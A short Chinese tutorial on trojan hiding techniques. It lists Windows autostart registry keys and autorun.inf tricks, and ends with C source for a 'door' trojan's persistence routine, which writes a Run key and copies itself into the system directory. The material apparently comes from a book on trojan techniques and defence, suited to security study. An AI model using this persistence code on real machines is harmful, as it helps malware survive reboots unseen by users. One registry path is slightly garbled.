木马隐藏技术
一. 注册表启动
1. 注册表Userinit位置
注册表中Userinit项后面带的是系统启动程序
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Current \ Version \ Winlogon
Userinit键值可以带一些系统启动时的初始化程序,例如:
C:\WINDOWS\system32\userinit.exe, QQ.exe
2. 利用AutoRun.inf自动启动
[AutoRun]
Icon=C:\Windows\System\Shell32.dll, 21
Open=C:\Program Files\ACDSee\ACDSee.exe
在autorun.inf文件中也可以运行某个注册表文件:
[AutoRun]
Open=regedit/s Share.reg;
3. 组策略中的隐藏
开始菜单的启动项:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
组策略:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Run
注册表中Load键值:
HKEY_CURRENT_USER \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Windows \ load
Windows中加载的服务,级别较高,用于最先加载:
HKEY_LOCAL_MACHINE \ System\ CurrentControlSet \ Services
Windows Shell:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \下面的字符串类型键值,其默认值为explorer.exe
木马程序可能会再此加入自身并以木马参数的形式调用资源管理器,以达到欺骗用户的目的;
BootExecute:
HKEY_LOCAL_MACHINE \ System \ ControlSet001 \ Session Manager \ 下面有一个名为BootExecute的多字符串键,默认为autocheck autochk *用于系统启动时的某些自动检查,这个启动项目中的程序是在系统图形界面完成前就被执行,具有很高的优先级。
door木马的自动加载部分,源代码如下:
#include <stdio.h>
#include <windows.h>
int main()
{
char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret;
ret = RegOpenKey(HKEY_LOCAL_MACHINE, regname, &hkResult);
//打开关键字
ret = RegSetValueEx(hkResult, "door", 0, REG_EXPAND_SZ, (unsigned char *) "%systemroot%\\door.exe", 25);
//设置键值
if(ret == 0)
{
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else
{
printf("failed to open regedit.%d\n", ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0, modlepath, 256);
//取得程序名字
GetSystemDirectory(syspath, 256);
ret = CopyFile(modlepath, strcat(syspath, "\\door.exe"), 1);
if(ret)
printf("%s has been copyed to sys dir %s\n", modlepath, syspath);
else
printf("%s is exisits", modlepath);
return 0;
}
详见:《木马技术揭秘与防御》赵玉明 黑客防线编辑部